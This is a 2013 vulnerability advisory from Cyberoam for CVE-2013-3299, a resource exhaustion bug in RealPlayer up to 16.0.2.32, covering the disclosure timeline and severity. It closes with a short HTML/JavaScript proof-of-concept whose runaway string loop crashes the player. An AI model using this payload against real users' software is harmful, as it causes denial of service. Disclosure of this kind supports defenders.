Title:
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Real player resource exhaustion Vulnerability
Credit:
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Name: Akshaysinh Vaghela
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com
CVE:
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CVE-2013-3299
Date:
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2013-04-23
CL-ID:
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CRD-2013-03
Vendor:
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Real Networks creates products and services that make it easier for people to access and enjoy digital media on the devices and platforms they choose to use.
Product:
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Real Player: The first application that allows enables people to easily download online video, transfer it to a favorite device and share it with friends via Facebook and Twitter.
Product link: http://in.real.com/?mode=rp
Abstract:
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Cyberoam Threat Research Labs discovered a Resource exhaustion Vulnerability in Real Player <= 16.0.2.32 .
Report-Timeline:
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2013-04-23: Vendor notification
2013-05-23: Vendor's Last Response
2013-06-03: Notification Follow-up Date
2013-00-00: Vendor Fix/Patch
2013-06-04: Public Disclosure
Affected Version:
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Ver ( <= 16.0.2.32 )
Exploitation-Technique:
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Network
Severity Rating:
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9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:C)
Details:
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Real Networks Real Player is prone to Resource exhaustion vulnerability. When processing specially crafted HTML file, Real Player uses a value from the file to control a loop operation. Real player fails to validate the value before using it, which leads to DoS / Crash.
Caveats / Prerequisites:
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The attacker needs to entice victims to perform an action in order to exploit this vulnerability.
Proof Of Concept:
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POC Exploit code:
<html>
<head>
<script language="JavaScript">
{
var buffer = '\x41'
for(i=0; i <= 100 ; ++i)
{
buffer+=buffer+buffer
document.write(buffer);
}
}
</script>
</head>
</html>
Risk:
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The security risk of the Resource exhaustion Vulnerability is estimated as High.
Disclaimer:
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